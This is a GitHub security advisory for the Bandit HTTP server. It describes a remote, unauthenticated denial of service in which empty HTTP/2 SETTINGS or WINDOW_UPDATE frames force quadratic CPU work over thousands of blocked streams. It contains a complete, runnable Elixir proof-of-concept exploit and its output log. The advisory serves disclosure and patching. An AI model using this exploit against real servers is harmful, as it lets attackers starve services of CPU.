Skip to main content
Menu
Advisories

SETTINGS and stream-0 WINDOW_UPDATE frames trigger quadratic work over blocked streams

GHSA-J363-H72P-296MPublished Updated GitHub

Description

Summary

An unauthenticated HTTP/2 client can pin server CPU by sending cheap 9-byte SETTINGS (or stream-0 WINDOW_UPDATE) frames, each of which forces O(n²) work over the connection's blocked response streams.

Details

In Bandit.HTTP2.Connection (lib/bandit/http2/connection.ex:356-364), every non-ACK SETTINGS frame and every connection-level WINDOW_UPDATE calls do_pending_sends. For each of the n queued sends, it calls List.delete/2 on the whole pending_sends list and then puts the entry back at the front if the send is still blocked. One frame therefore costs O(n²) list operations, about 10⁸ at n = 10,000. SETTINGS handling (lines 117-118) also sends deliver_send_window_update to every stream even when delta is 0, so unread messages pile up in blocked streams' mailboxes. max_concurrent_streams defaults to :infinity, so the attacker chooses n. They open thousands of streams, never send a connection WINDOW_UPDATE (so every response stays in pending_sends), then send empty SETTINGS frames. The PoC shows that with 3,000 blocked streams, a single 9-byte SETTINGS frame delays the next PING ACK by well over 50 ms.

Proof of concept

Mix.install([{:bandit, "1.12.5"}])

defmodule PendingPlug do
  def init(opts), do: opts

  def call(conn, _opts) do
    send(:poc_runner, :plug_started)
    Plug.Conn.send_resp(conn, 200, :binary.copy("x", 20_000))
  end
end

defmodule QuadraticPendingPoc do
  @preface "PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n"
  @streams 3_000

  def run do
    Process.register(self(), :poc_runner)
    {:ok, server} = Bandit.start_link(plug: PendingPlug, ip: {127, 0, 0, 1}, port: 0, startup_log: false)
    {:ok, {_ip, port}} = ThousandIsland.listener_info(server)
    {:ok, socket} = :gen_tcp.connect(~c"127.0.0.1", port, [:binary, active: false, nodelay: true])
    :ok = :gen_tcp.send(socket, @preface <> frame(0x4, 0, 0, <<>>))
    {:ok, _} = :gen_tcp.recv(socket, 0, 5_000)
    :ok = :gen_tcp.send(socket, frame(0x4, 0x1, 0, <<>>))

    {block, _} = HPAX.encode(headers(), HPAX.new(4096))
    block = IO.iodata_to_binary(block)
    requests = for n <- 1..@streams, do: frame(0x1, 0x5, n * 2 - 1, block)
    :ok = :gen_tcp.send(socket, requests)
    started = collect_started(0, @streams)

    # Flush initial responses and let every response attempt enter pending_sends.
    Process.sleep(500)
    _ = drain(socket, 100)

    {elapsed_us, pong?} =
      :timer.tc(fn ->
        :ok = :gen_tcp.send(socket, frame(0x4, 0, 0, <<>>) <> frame(0x6, 0, 0, "QUADRATI"))
        wait_for_ping(socket, <<>>, 15_000)
      end)

    elapsed_ms = Float.round(elapsed_us / 1_000, 2)
    IO.puts("blocked response streams: #{started}")
    IO.puts("trigger frame bytes: 9")
    IO.puts("SETTINGS-to-PING processing time: #{elapsed_ms} ms")
    IO.puts("PING acknowledged: #{pong?}")

    :gen_tcp.close(socket)
    Supervisor.stop(server)

    if started == @streams and pong? and elapsed_us > 50_000 do
      IO.puts("VERIFIED: one 9-byte SETTINGS frame forced quadratic retry work over #{@streams} pending sends in #{elapsed_ms} ms")
    else
      IO.puts("NOT VERIFIED: started=#{started}, pong=#{pong?}, elapsed_ms=#{elapsed_ms}")
    end
  end

  defp headers do
    Enum.map([{":method", "GET"}, {":scheme", "http"}, {":path", "/"}, {":authority", "localhost"}], fn {k, v} -> {:no_store, k, v} end)
  end

  defp collect_started(count, target) when count == target, do: count
  defp collect_started(count, target) do
    receive do
      :plug_started -> collect_started(count + 1, target)
    after
      10_000 -> count
    end
  end

  defp wait_for_ping(socket, buffer, timeout) do
    if :binary.match(buffer, "QUADRATI") != :nomatch do
      true
    else
      case :gen_tcp.recv(socket, 0, timeout) do
        {:ok, data} -> wait_for_ping(socket, buffer <> data, timeout)
        {:error, _} -> false
      end
    end
  end

  defp drain(socket, timeout, acc \\ <<>>) do
    case :gen_tcp.recv(socket, 0, timeout) do
      {:ok, data} -> drain(socket, 0, acc <> data)
      {:error, _} -> acc
    end
  end

  defp frame(type, flags, stream_id, payload),
    do: <<byte_size(payload)::24, type::8, flags::8, 0::1, stream_id::31, payload::binary>>
end

QuadraticPendingPoc.run()

Logs

blocked response streams: 3000
trigger frame bytes: 9
SETTINGS-to-PING processing time: 133.09 ms
PING acknowledged: true
VERIFIED: one 9-byte SETTINGS frame forced quadratic retry work over 3000 pending sends in 133.09 ms

Impact

This is a remote, unauthenticated CPU-exhaustion denial of service. It affects any Bandit server with HTTP/2 enabled. A few connections sending a few KB/s can keep every BEAM scheduler busy.

This issue affects bandit: from 0.3.6 onward.

Impact

An unauthenticated remote client that keeps thousands of HTTP/2 response streams blocked can make each 9-byte SETTINGS frame cost the server quadratic CPU work. A few connections sending a few KB/s keep every BEAM scheduler busy, starving all other requests on the node.

References

Affected versions

References

GitHub · mtrudel/bandit